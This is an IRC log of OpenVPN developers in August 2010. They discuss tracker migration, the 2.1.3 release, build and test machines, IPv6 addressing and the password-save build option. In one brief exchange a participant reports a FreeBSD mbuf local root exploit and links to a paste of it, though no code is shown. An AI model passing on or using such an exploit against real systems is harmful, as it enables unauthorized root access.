tried Soekris myself, I find them too expensive for "just a small router-thing" (~120 EUR vs. ~50 EUR) 04:06 <@cron2> if I want "more powa", I use Kirwood-based ARM devices - the SheevaPlug and the GuruPlug Server thingies 04:07 <@dazo> yeah, Soekris is more expensive ... but it's more interesting when thinking server .... Soekris is interesting because of both mini-PCI and full size PCI slots 04:07 <@cron2> (1.2 GHz ARM, 512 M RAM, 512 M Flash, about ~150 EUR) 04:09 <@dazo> GuruPlug is interesting ... eSATA support 04:09 <@mattock> we used Soekris extensively (~50 sites for 5+ years) in my last job as IPSec concentrators. Maybe 1 broke and a few (<10) had to be fixed back due to broken flash card 04:09 <@mattock> very reliable 04:13 * dazo could spend way too much money on gadgets ....... 04:13 * cron2 too :) 04:17 * dazo suddenly wants a GuruPlug .... badly! 04:17 <@dazo> (the Plus edition, that is) 04:19 <@cron2> hehe 04:19 <@cron2> it runs pretty much stock debian squeeze (for arm, of course) :-) - just the kernel compilation thing can be a bit tricky 04:21 <@dazo> :) 04:26 <@mattock> I hate gadgets :) 04:26 <@mattock> I love using obsolete stuff to build something useful... like old laptops etc 04:26 <@mattock> dazo: my hobby is cheaper :D 04:27 <@mattock> I was thinking of disabling SF.net bug tracker and CVS 04:28 <@mattock> and also posting to the SF.net forums about our new forums 04:28 <@mattock> and then disabling those, too 04:29 <@dazo> sounds like a good idea 04:41 <@mattock> CVS disabled, notices posted to SF.net forums 04:41 <@mattock> got to skim through the bug tracker 04:50 <@mattock> hmm... I'll have to make the SF.net trackers invisible to all but project members 04:50 <@mattock> there are way too many feature requests and bugs to move to Trac manually right now 04:50 <@mattock> and exporting and then importing them takes time, too 04:51 <@mattock> making them invisible makes sure no more stuff is added there 05:07 <@mattock> ok, now the SF.net page is _much_ cleaner: http://sourceforge.net/projects/openvpn/ 05:07 < vpnHelper> Title: OpenVPN | Download OpenVPN software for free at SourceForge.net (at sourceforge.net) 05:08 <@mattock> I'll disable the forums soon, perhaps late next week 05:08 <@mattock> too bad SF.net does not support adding custom URL's for forums etc. 05:09 <@mattock> should we cherry-pick the feature requests & bugs to migrate? or mass-migrate them? SF.net can export them in XML 05:09 <@mattock> I suggest cherry-picking 05:09 <@mattock> takes less time 05:12 <@mattock> https://sourceforge.net/export/ 05:12 < vpnHelper> Title: SourceForge.net: Exports Available (at sourceforge.net) 05:39 <@dazo> mattock: I might have the CVS tree available in git format .... I pulled out a copy some months ago, just to test git cvsimport ... I can publish that one, for historical curiosity 05:41 <@dazo> mattock: I agree to cherry-picking ... I looped through there many months ago, and did close a lot of trash ... but left things we needed to consider more 05:41 <@dazo> not sure I managed to go through everything 05:59 <@mattock> dazo: publishing the CVS tree in Git would be nice 06:01 <@mattock> what if I loop through the SF.net trackers first, cherry-pick what I think are still valid... after that you can take a look (as a SF.net project member) 06:04 <@dazo> mattock sure, sounds like a plan ... I won't manage before next week though 06:04 <@mattock> that's fine, the trackers are invisible so more stuff can't get in 06:05 <@dazo> perfect! 06:05 <@dazo> http://stackoverflow.com/questions/2349378/new-programming-jargon-you-coined/ .... many good jargons here! :-P 06:05 < vpnHelper> Title: New programming jargon you coined? - Stack Overflow (at stackoverflow.com) 06:15 < vpnHelper> New forum entry tickets: #37: Management Console inaccurate state information || #34: OpenVPN Install and the Windows Path Environment variable || #35: No magic limitation on socket size || #36: Openvpn v2.1.1 does not recover from interface reset New forum entry tickets: #42: Default gateway not found on darwin 10.6 x86_64 || #43: BSOD on hibernate in Windows Vista || #38: U/P auth to server fails: Environment Variable missing! || #40: Documentation bug in the manual: explicit-exit-notify still 30 more bugs to go... 5 unclear cases found so far 06:47 <@mattock> I'll continue the job when I want to rest my brains :) 08:11 < ecrist> that mbuf vulnerability in freebsd is nasty 08:11 < ecrist> there's an exploit in the wild for it 08:12 <@dazo> a new one? 08:12 < ecrist> I just tested it on an unpatched box, had a root shell in about a minute, including time to compile the binary 08:12 <@cron2> ecrist: externally exploitable? 08:12 < ecrist> no, it's a local thing 08:12 * dazo recalls FreeBSD mbuf exploit being discussed a while ago 08:12 < ecrist> it was patched about two weeks ago, but there's an exploit in the wild now. 08:12 <@cron2> ok. nasty enough, but gives me time to re-check the patch status of all our BSD boxes 08:13 < ecrist> http://ownage.pastebin.com/dyKLRr0v 08:13 <@cron2> only users there that are by definition trusted 08:15 * ecrist needs a shell account in europe 08:18 <@dazo> ecrist: sounds like cron2 can help ... and with this exploit, you'll even get root! :-P 08:19 < ecrist> lol 08:19 <@cron2> dazo: don't you have an OpenBSD VM? 08:19 <@dazo> cron2: haven't made it boot under KVM yet ... haven't had time to look at it .... IPv6 in home network sounded way more fun yesterday :-P 08:23 <@dazo> I might need to test out this ... http://www.cyberciti.biz/faq/kvm-virtualization-openbsd-guest-hangs-at-starting-tty-flags/ 08:23 < vpnHelper> Title: Linux KVM: OpenBSD Guest Hangs At Starting tty Flags (at www.cyberciti.biz) 08:45 -!- mape2k [~mape2k@p5B285B4C.dip.t-dialin.net] has quit [Ping timeout: 264 seconds] 09:20 -!- dazo is now known as dazo_afk 10:47 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:37 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 13:22 -!- Zero3K [Zero3K@216.59.18.195] has joined #openvpn-devel 13:22 < Zero3K> could someone please compile a Windows version of OpenVPN v2.1.2 (with the enable-password-save option) for me? 13:37 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 13:56 < Zero3K> could someone please compile a Windows version of OpenVPN v2.1.2 (with the enable-password-save option) for me? 14:27 < ecrist> not today 14:45 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 14:51 < Zero3K> why? 14:54 < ecrist> because the windows building is difficult, and we don't/won't/can't just build something because someone came in and asked for it. 14:55 < Zero3K> ok 14:57 < Zero3K> who could I ask then? 14:57 < ecrist> you've asked the right place, it's just not going to happen for the foreseeable future. 14:58 < ecrist> you could mention it on the forum in wishlist. 14:58 < Zero3K> I did 14:58 < ecrist> what you're asking isn't unreasonable, but there's a lot of things going on, as well. 14:58 < Zero3K> yep 14:58 < Zero3K> so, probably in 2-3 months 14:58 < ecrist> getting a windows build with properly signed tun/tap driver is more important 14:59 < Zero3K> then again 14:59 < Zero3K> I did post elsewhere 14:59 < Zero3K> so 14:59 < Zero3K> maybe sooner than that 15:00 < ecrist> I think sooner, but the windows driver issue is the hot-button item right now 15:00 < ecrist> we're working on a better build system where such things are possible. 15:00 < Zero3K> hmm 15:00 < Zero3K> or at least 15:00 < Zero3K> a program that patches it 15:01 < Zero3K> to enable password saving 15:09 <@raidz> ecrist: You need a shell account in europe, I can set that up for you ;-) 15:14 -!- Zero3K [Zero3K@216.59.18.195] has quit [Quit: Zero3K] 16:05 <@raidz> I setup KVM snapshots on the Windows VM so we can revert back to a previous snapsot if something goes arwy. 16:10 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 16:55 < ecrist> raidz: I've noticed since the migration forum traffic has increased considerably 17:14 -!- Zero3K [Zero3K@216.59.18.195] has joined #openvpn-devel 17:16 -!- Zero3K [Zero3K@216.59.18.195] has left #openvpn-devel [] --- Day changed Sat Aug 21 2010 00:49 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:49 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:17 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:56 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 09:28 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 10:10 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 10:35 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 14:35 <@raidz> ecrist: thats great news! One thing i noticed is that we are redirecting http:// to https://, lots of SE robots do not like visiting secure sites, not sure if it really matters but if se's don;t pick up our urls it could lower our traffic potential 15:49 -!- dazo_h [~dazo@212.71.72.138] has joined #openvpn-devel 15:49 < dazo_h> mattock: you around? 15:49 <@mattock> dazo: in fact yes 15:49 < dazo_h> \o/ 15:49 <@mattock> what's up 15:49 < dazo_h> Have you done anything about the mail from James, which I replied to earlier today? 15:50 < dazo_h> if not ... I'm going through some mails with reports and grabbing some irc people ... if you would be able to PM those in the forum, that'd be great though 15:51 <@mattock> hmm, haven't checked my mails today 15:51 <@mattock> should I get worried or something? :) 15:51 < dazo_h> mattock: ahh! good news! James got a 2.1.3 candidate available ... but he would like to have a quick smoke test of it by some more people 15:51 <@mattock> oh, great! 15:52 <@mattock> I'll check my mails then 15:52 < dazo_h> so I thought about to contact some people directly, to ask them to test it ... and if good reports, message James and release it 15:52 < dazo_h> one thing I noticed though .... James has forgotten to update the ChangeLog file .... so not sure if he wants to do that on the official release or not 15:53 < dazo_h> for the beta2.2 branch, I don't care, as we have our "own" changelog 15:53 < dazo_h> which means I can tag the tree as beta3 very soon 15:56 <@mattock> great! 15:58 < dazo_h> mattock: I found mails from Pasi Kärkkäinen and Ralf Hildebrandt ... so I'm thinking about mailing them + ecrist and krzee 15:58 < dazo_h> if you have some more e-mails, I'll add it 15:59 < dazo_h> Dougy on ##openvpn have commented it as well 15:59 <@mattock> dazo: I got three "complaint" email addresses, let's see... 15:59 < dazo_h> yeah 15:59 <@mattock> I'll copy the addresses to you privately 15:59 < dazo_h> perfect! 16:18 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 16:50 -!- dazo_h [~dazo@212.71.72.138] has quit [Ping timeout: 265 seconds] 16:52 -!- dazo_h [~dazo@212.71.72.138] has joined #openvpn-devel 16:56 < vpnHelper> RSS Update - testtrac: Merge branch 'svn-BETA21' || Attempt to fix issue where domake-win build system was not properly 16:58 -!- dazo_h [~dazo@212.71.72.138] has quit [Ping timeout: 246 seconds] 18:11 <@raidz> sweet 18:57 < ecrist> raidz: google and others are indexing the forum just fine 18:58 <@raidz> Alright guys. So I talked with Samuli and we decided to setup an openssh server on the Windows build machine to securly connect to rdp. I decided to use copssh. I tested and the tunnel works great 18:58 <@raidz> ecrist: ok great 18:59 < ecrist> raidz: why not just put the windows machine RDP on the same VPN the other stuff is on? 18:59 < ecrist> it would make things less of a hassle, since the VPN is already set up 19:00 <@raidz> right, but if they wanted to test out openvpn on that machine it could be a problem if we already have the client installed and connected to the vpn 19:00 < ecrist> but it's the build machine, not a test machine, right? 19:00 <@raidz> if you don't think that would be a problem then I would be up to it 19:00 <@raidz> Right, I thought I saw one of you guys mention testing the client on it 19:01 < ecrist> imho, testing and building should be on different machines 19:01 <@raidz> if it isn't going to be used for testing than i will definintley put the vpn on there 19:01 <@raidz> agreed 19:01 < ecrist> a build machine tends to have all sorts of goo installed that could fiddle with proper 'real world' testing 19:01 <@raidz> right 19:02 <@raidz> I will talk to Samuli and dazo and if they are fine with it than we will do the VPN as I agree that would be the easiest, etc 19:04 <@raidz> ecrist: do you think it would be necessary to setup a test vm as well? We have the resources 19:06 < ecrist> to be honest, I think the test environment needs so real thought. 19:07 <@raidz> so = some? 19:07 < ecrist> it's easy, and an OK smoke test, to just build, make sure it executes. it's really difficult to test various configuration and such, such as password authentication, IPv6, bridging, routing, various MTUs, etc, etc, etc 19:07 <@raidz> agreed 19:07 < ecrist> aye, 19:08 <@raidz> for AS we have many different os's networks etc to try and fit most common scenarios. It would be tought to set that up for community 19:08 <@raidz> *tough 19:09 < ecrist> right. however, I think it could be feasible to setup a test vpn network and have the community participate. 19:09 < ecrist> setup X servers with X configs, and ask community members to connect/disconnect with test creds 19:10 <@raidz> sounds good to me 19:10 < ecrist> would involve some firewalling and something to do, say, download a file and checksum it 19:10 <@raidz> right 19:10 < ecrist> maybe have a few of us setup server hubs 19:11 < ecrist> i.e. I connect a test machine to test.openvpn.net via openvpn, and have clients connect to me, and send pings to an IP on test.openvpn.net with various MTU settings or packets sizes 19:11 <@raidz> that would be great. I am giving Samuli a dedicated machine that we are taking out of production so he should be able to fit quite a few vm;s on there to get started. But it would be great if the community could help setup networks as well 19:11 < ecrist> tell them what results to expect, and ask them to report discrepancies. 19:11 <@raidz> right 19:12 < ecrist> I'm sure krzee has some excellent input as to what testing should/could be done 19:12 <@raidz> great! 19:12 < ecrist> and to make life easier, maybe we only run these big tests on releases or betas (not weekly) 19:13 <@raidz> Yeah, not sure people would be up to doing this on a weekly basis 20:41 < ecrist> raidz: have you been able to work on the AS part of the forum? 20:48 < ecrist> dazo_afk: http://secure-computing.net/files/error_ovpn.png 20:49 < ecrist> dazo_afk: http://secure-computing.net/files/error2_ovpn.png 20:49 < ecrist> error2 is from when I clicked 'ignore' to the first error (abort quit the install and retry never worked. 20:52 < ecrist> I'll have to boot that box in recovery mode to delete that file I thnk. 22:13 <@raidz> ecrist: no, but I think I will start working on it now as I have some time. --- Day changed Sun Aug 22 2010 01:38 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:28 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:14 <@cron2> ecrist: regarding "it's really difficult to test various configurations and such" - feel free to look at t_client.sh :-) 04:22 <@cron2> one thought I had was to extend it to do some wget and maybe ftp put stuff (to make sure TCP MTU works) 06:03 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has quit [Ping timeout: 245 seconds] 06:03 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has joined #openvpn-devel 06:35 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 08:05 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 09:05 -!- fkr_ is now known as fkr 09:34 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 10:14 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:09 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 260 seconds] 12:11 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 12:11 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 12:45 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 15:46 < vpnHelper> RSS Update - tickets: #44: More Flexible TLS Verification for plugins 16:49 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] --- Day changed Mon Aug 23 2010 01:07 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:07 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:07 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 02:55 <@mattock> hmm, just noticed that HTTP clients that don't honor Apache's redirects (http -> https) can access Trac without encryption... I wonder if this is something that should be fixed. 03:04 <@mattock> Apache logs show that we've had visitors from 39 different IP's in Trac during last ~7 days 03:05 <@mattock> not exactly the incredible rush I feared... 03:53 <@cron2> OpenVPN works so well that there's no need to visit the bug tracker :-) 03:59 <@mattock> yeah, probably :) 04:25 < vpnHelper> RSS Update - tickets: #45: TAP-Driver Installation in 2.1.2 on Win7 x64 not possible 04:34 <@cron2> so what's the state of 2.1.3? 06:25 <@mattock> cron2: apparently James' RC fixed the issue for everybody 06:26 <@mattock> should be released really soon, depending on James of course 06:26 <@cron2> cool 07:23 -!- dazo_afk is now known as dazo 07:24 <@dazo> cron2: a sorry, I forgot to send that mail to you 07:24 * dazo sends a mail 07:26 <@dazo> brb 08:58 <@cron2> dazo: thanks. So we'll decide on Thursday? 08:59 <@dazo> cron2: most probably 09:21 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn-devel 09:38 < vpnHelper> RSS Update - tickets: #46: Some way of supporting static compilation 09:45 <@dazo> mattock: ^^^ ticket #46 is something to bring up at Thursday's meeting 09:45 <@mattock> ok 10:22 <@dazo> mattock: I just noticed what the forums announcement is not to be found in gmane ... it is on sf.net mail archive, but not in gmane archives ... maybe that could be the reason we've not seen the enormous rush, as sf.net didn't distribute the message good enough? 10:42 <@mattock> hmm, could be 10:42 <@mattock> strange 10:42 <@mattock> it could just be that 99% of people go to openvpn.net just to download the windows binary 11:19 <@raidz> community.openvpn.net will be down for 10-15 minutes for maitinence. Sit tight! 11:26 < djc> what forums announcement is this? 11:34 < ecrist> http://forums.openvpn.net 11:34 < vpnHelper> Title: OpenVPN User Forum Index page (at forums.openvpn.net) 12:18 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 12:43 -!- krzee [krzee@joogot.noskills.net] has joined #openvpn-devel 12:44 -!- krzee [krzee@joogot.noskills.net] has quit [Changing host] 12:44 -!- krzee [krzee@unaffiliated/krzee] has joined #openvpn-devel 13:17 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 14:47 -!- krzee [krzee@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 14:59 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 15:29 -!- dazo is now known as dazo_afk 16:04 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 19:43 -!- Kage [~chuck@h52.40.16.98.dynamic.ip.windstream.net] has joined #openvpn-devel 19:43 -!- Kage [~chuck@h52.40.16.98.dynamic.ip.windstream.net] has left #openvpn-devel ["Konversation terminated!"] --- Day changed Tue Aug 24 2010 00:33 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:00 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 02:49 -!- dazo_afk is now known as dazo 03:26 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 04:31 <@dazo> cron2: do you got some good pointers at IPv6 firewalling? ... the ICMPv6 packets seems to be a lot more crucial in a IP6 network - and it's a brazillion ICMPv6 types ... 04:33 <@cron2> dazo: I always live by "don't filter ICMP" 04:33 <@cron2> but there's an RFC about that, let me go search 04:33 <@cron2> RFC4890, "Recommendations for Filtering ICMPv6 Messages in Firewalls" :-) 04:34 <@dazo> cron2: cool! well, I'm paranoid by nature :) 04:34 * dazo will read that one 04:34 <@dazo> thx a lot! 04:34 <@cron2> nothing wrong with being paranoid if they are all out there to get ya... 04:34 <@cron2> ... but still, filtering ICMP traditionally causes much more pain than gain 04:34 <@dazo> yeah, ICMP seems to be more tricky :) 04:36 <@dazo> One of my servers are experiencing systematic port scanning on the IPv6 address ... luckily, it's just 2 fixed IPv6 addresses which does that, so that was an easy DROP ... but I expect it will become worse in the future 04:37 <@dazo> cron2: what would you say is the main advantage of stateless IPv6 configuration vs statefull? 04:38 <@cron2> well, "no DHCPv6 server to maintain and configure" is a plus for stateless, "manual DNS after-the-fact" is the disadvantage 04:38 <@cron2> we do "static configuration" for servers, and stateless autoconfig for "office PC type" clients 04:39 <@dazo> but will each host always get the same IPv6 address in stateless config? 04:39 <@cron2> since the host part (last 64 bits) are built based on the MAC address of the interface, yes 04:39 <@dazo> ahh 04:40 <@dazo> thx a lot! and I learnt something new today too :) 05:21 -!- d12fk [~heiko@vpn.astaro.de] has quit [Remote host closed the connection] 05:23 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 05:23 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 06:24 -!- djc [~djc@gentoo/developer/djc] has left #openvpn-devel [] 08:52 < ecrist> mattock: for thursday's meeting: https://forums.openvpn.net/viewtopic.php?f=10&t=7023 08:52 < vpnHelper> Title: OpenVPN User Forum View topic - Compiling OpenVPN v2.1.2 with enable-password-save option (at forums.openvpn.net) 08:52 <@mattock> ecrist: ok, sounds good 08:58 -!- Irssi: #openvpn-devel: Total of 17 nicks [5 ops, 0 halfops, 0 voices, 12 normal] 10:21 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 252 seconds] 12:53 -!- dazo is now known as dazo_afk 14:18 < krzee> [02:39] since the host part (last 64 bits) are built based on the MAC address of the interface, yes <-- does this mean stateless configs leak mac address in the ipv6 ip? 14:29 <@cron2> krzee: generically speaking, yes. 14:29 <@cron2> krzee: there's two possible workarounds - one is "use static / DHCPv6", and the other is "IPv6 privacy extentions" 14:30 <@cron2> the latter means "every hours, the client will roll a new IPv6 address based on random bits" 14:30 <@cron2> new outbound connections will then use the new/dynamic address, and as soon as nothing is using the "old" ones any longer, those go away 14:31 <@cron2> RFC4941 Privacy Extensions for Stateless Address Autoconfiguration in 14:31 <@cron2> IPv6. T. Narten, R. Draves, S. Krishnan 14:31 <@cron2> windows does this by default (which violates the RFC, which says that this should default to off) 14:34 < krzee> cool 14:38 <@cron2> I'm not sure whether this has been implemented by the various unixes, tho - I know AIX does it (by default, no way to turn it off, which is way stupid for a *server* OS...), and Linux can optionally do it (kernel compile-time option) 16:05 <@cron2> ah, *BSD can do it, just turn it on via sysctl - http://ipv6int.net/systems/freebsd-ipv6.html 16:05 < vpnHelper> Title: FreeBSD IPv6 - IPv6 Intelligence (at ipv6int.net) 16:40 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 18:21 < ecrist> freebsd networking > * 22:27 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Wed Aug 25 2010 00:48 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:48 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:23 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 03:19 -!- krzee [~k@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 03:29 -!- dazo_afk is now known as dazo 04:03 <@mattock> ecrist, raidz: I changed the community VPN subnet to 10.7.36.0/24 04:03 <@mattock> forums and trac auth works properly 04:03 <@mattock> although changing phpbb authentication settings always make me nervous, because there's no clean config file to edit if I lock myself out :D 04:04 <@mattock> ecrist: in case you don't know, the subnet change was required to get the community VPN speaking with the company VPN... as raidz for details 04:21 <@mattock> s/as/ask/g 06:57 -!- dcyber09 [~ew@unaffiliated/dcyber09] has joined #openvpn-devel 07:01 < ecrist> no worries, thanks for the heads-up 07:01 < ecrist> don't worry about locking yourself out of the db - I've gotten used to fixing things in phpbb databases. 07:16 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 07:33 -!- litilu [5287f6fa@gateway/web/freenode/ip.82.135.246.250] has joined #openvpn-devel 08:04 -!- litilu [5287f6fa@gateway/web/freenode/ip.82.135.246.250] has left #openvpn-devel [] 08:21 -!- dcyber09 [~ew@unaffiliated/dcyber09] has quit [] 10:14 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 12:15 <@raidz> mattock: thanks for that, I noticed the change 12:23 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:42 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 13:00 -!- dazo is now known as dazo_afk 13:17 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 15:53 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 18:37 -!- ScriptFanix [vincent@hanaman.riquer.fr] has quit [Ping timeout: 276 seconds] 18:38 -!- ScriptFanix [vincent@hanaman.riquer.fr] has joined #openvpn-devel --- Log opened Wed Aug 25 21:23:32 2010 21:23 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 21:23 -!- Irssi: #openvpn-devel: Total of 16 nicks [5 ops, 0 halfops, 0 voices, 11 normal] 21:23 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel --- Log closed Wed Aug 25 21:23:40 2010 21:23 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has quit [Client Quit] 23:21 -!- cartes [cartes@116.193.170.2] has joined #openvpn-devel 23:21 -!- cartes [cartes@116.193.170.2] has left #openvpn-devel [] 23:38 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Thu Aug 26 2010 00:09 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 00:16 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 02:05 -!- dazo_afk is now known as dazo 02:51 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 05:25 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 08:28 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 08:28 -!- krzee [nobody@unaffiliated/krzee] has quit [Remote host closed the connection] 09:13 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Read error: Operation timed out] 10:00 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 11:08 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 11:09 -!- krzee [nobody@unaffiliated/krzee] has quit [Ping timeout: 276 seconds] 11:16 -!- dazo is now known as dazo_afk 12:45 -!- dazo_afk is now known as dazo 12:56 * dazo wonders how many who will show up for the meeting today ... 12:57 * cron2 <- 12:58 <@mattock> hi 12:58 <@mattock> I hope james attends, he forgot his promise to hang around in the IRC from last week onwards :( 12:59 <@dazo> yeah ... might have speeded up 2.1.3 12:59 <@mattock> topic list is here: https://community.openvpn.net/openvpn/wiki/Topics-2010-08-26 12:59 < vpnHelper> Title: Topics-2010-08-26 – OpenVPN Community (at community.openvpn.net) 13:01 <@dazo> mattock: have you mailed James yet? 13:01 <@mattock> nope, perhaps I should... 13:01 * dazo had a hope he would get a reminder from my email today ... but maybe the reminder was to far down in the mail 13:01 <@mattock> yeah, me too... 13:02 <@mattock> hoped 13:03 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:04 <@dazo> \o/ 13:04 <@dazo> :) 13:04 <@mattock> hi james! 13:04 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:04 <@jamesyonan> hi 13:04 <@mattock> ok, so topics are here: https://community.openvpn.net/openvpn/wiki/Topics-2010-08-26 13:04 < vpnHelper> Title: Topics-2010-08-26 – OpenVPN Community (at community.openvpn.net) 13:05 <@mattock> shall we start with 2.1.3? 13:05 <@dazo> yeah, that's a good starter! 13:05 <@mattock> Ralf on the mailing list is getting restless about 2.1.2 being broken... 13:06 <@mattock> and he's got a point 13:06 <@dazo> +1 13:06 <@mattock> jamesyonan: could we release 2.1.3 a.s.a.p. as in now? :) 13:06 <@dazo> and I also gave him a preview of 2.1.3 13:06 <@dazo> hold the horses a bit! 13:06 <@jamesyonan> certainly, I can release it today 13:06 <@dazo> what about --enable-passord-save ? 13:07 <@jamesyonan> it's usually off by default 13:07 <@dazo> has that been enabled in earlier releases? 13:07 <@mattock> oh yes, that one 13:07 <@jamesyonan> I don't think it's ever been enabled 13:07 <@dazo> ahh, if it's no regression ... then ship it :) 13:07 <@dazo> but would be good to validate this 13:07 <@mattock> yeah, but there's a guy who rebuilds the Windows version with that option enabled 13:08 <@mattock> so it's not enabled by default 13:08 <@mattock> this guy is active in the mailing lists I think 13:08 <@dazo> okay ... no problem, as long as we are sure 13:08 <@mattock> Andrew had to use his binary on the Windows build machine to get it hooked to community vpn 13:09 <@mattock> anyways, I think we should release 2.1.3 today, then 13:09 <@cron2> how lame is that, having to use someone else's OpenVPN binary? *duck* 13:09 <@mattock> :) 13:09 <@dazo> the question is then ... should we do some tricks so that it could be compile-time enabled, but config disabled by default? 13:09 <@mattock> jamesyonan: is there a reason why it's disabled by default in Windows build? 13:09 <@jamesyonan> at one time it was proposed to make --enable-password-save on by default but there was such an outcry against it that it never happened 13:10 <@dazo> it seems to be a requested feature, and having only compile time enabling seems to be a bit rough for windows users 13:10 <@mattock> oh 13:10 <@jamesyonan> but this was years ago 13:10 <@mattock> perhaps we could ask the people on the -user mailing list and see what they think now 13:10 <@mattock> it is useful in some scenarios, no doubt about that 13:11 <@cron2> how difficult would it be to build two sets of windows binaries? 13:11 <@dazo> jamesyonan: --auth-nocache doesn't that runtime-disable it? 13:12 <@jamesyonan> no, --auth-nocache is about disabling the memory caching of the password for the duration of the session 13:12 <@jamesyonan> saving passwords is about caching permanently in a disk file 13:13 <@mattock> would it be possible to make it disabled by default, but enablable without recompilation? 13:13 <@dazo> aha ... so that --askpass {FILE} ... will not read {FILE} if --enable-password-save is enabled? 13:13 <@dazo> is *not* enabled 13:15 <@jamesyonan> let's run it by the lists first -- the primary cause of opposition was that admins didn't want to make it easy for their users to save the password 13:15 <@mattock> jamesyonan: +1 13:15 <@dazo> +1 13:15 * dazo thinks a bit further ... 13:15 <@jamesyonan> but this was years ago when there were not alternative Windows builds available 13:16 <@dazo> could it be done in a clever way so that the server could enable or disable this feature via a push to the client? which would only be valid via push? 13:17 <@mattock> server-side setting would be 